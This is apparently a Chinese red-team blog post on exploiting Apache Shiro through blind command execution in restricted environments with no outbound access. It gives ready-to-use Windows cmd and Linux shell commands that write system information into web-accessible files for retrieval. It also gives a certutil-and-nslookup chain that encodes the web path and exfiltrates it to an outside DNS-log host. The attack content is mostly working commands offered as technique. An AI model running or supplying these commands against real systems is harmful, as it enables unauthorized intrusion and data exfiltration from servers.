Author:Hunter@深蓝攻防实验室
Shiro也是老朋友了,但由于其盲打的特点,尽管遇到过很多次依然会花费较多时间。并且比较恶心的是不同的系统环境有可能会遇到各种极端的限制条件。
本文总结的内容主要针对Windows环境下shiro盲打,不出网且ps脚本无法执行的极端场景。
Windows是无法像Linux一样轻松拼接命令执行后直接外带数据的,再加上一些体积比较大的数据很难通过域名的方式完整带出。考虑到java系应用大多权限很高,目录可写问题不大,因此想到了写在文件里带出的方式。
在站点找⼀个命名独一无二的⽂件或⾃⼰上传的图⽚作为“参照物”,找到⽂件路径且可访问的情况下,只用powershell编码如下命令:
cmd /c "for /f %i in ('dir /s /b c:\xxx.js') do (echo%i>%i.path.txt)&(ipconfig > %i.ipconfig.txt)"
和Windows同理,如下:
find / -name bas.js|while read f;do sh -c 'id;pwd;ifconfig' >$(dirname$f)/test.txt;done
上面的脚本需要找到网站目录下的一个特殊文件名的文件,但前提是知道网站的绝对路径。在Windows环境中只能使用CMD的情况下定位目录并外带数据确实比较麻烦。
cmd /c "del temp* && echo %CD%>temp && certutil -encode temp temp2 && findstr /L /V "CERTIFICATE" temp2>temp3 && call set /P MYVAR=<temp3 && call set FINAL=%MYVAR:~0,60%.g9bubn.ceye.io && call nslookup %FINAL% && call set FINAL=<nul && call set MYVAR=<nul && del temp*"
powershell编码后发送payload,得到如下DNSlog:
带出的路径信息就是Web的当前目录,将该目录与“参照物”文件的URL进行拼接:
cmd /c "for /f %i in ('dir /s /b C:\Users\hunter\Desktop\shiro\target \xxx.js') do (echo %i>%i.path.txt)&(ipconfig > %i.ipconfig.txt)"
输出的文件在“参照物”的同目录下:
这样就可以直接通过访问“参照物”目录下生成的文件带出数据了。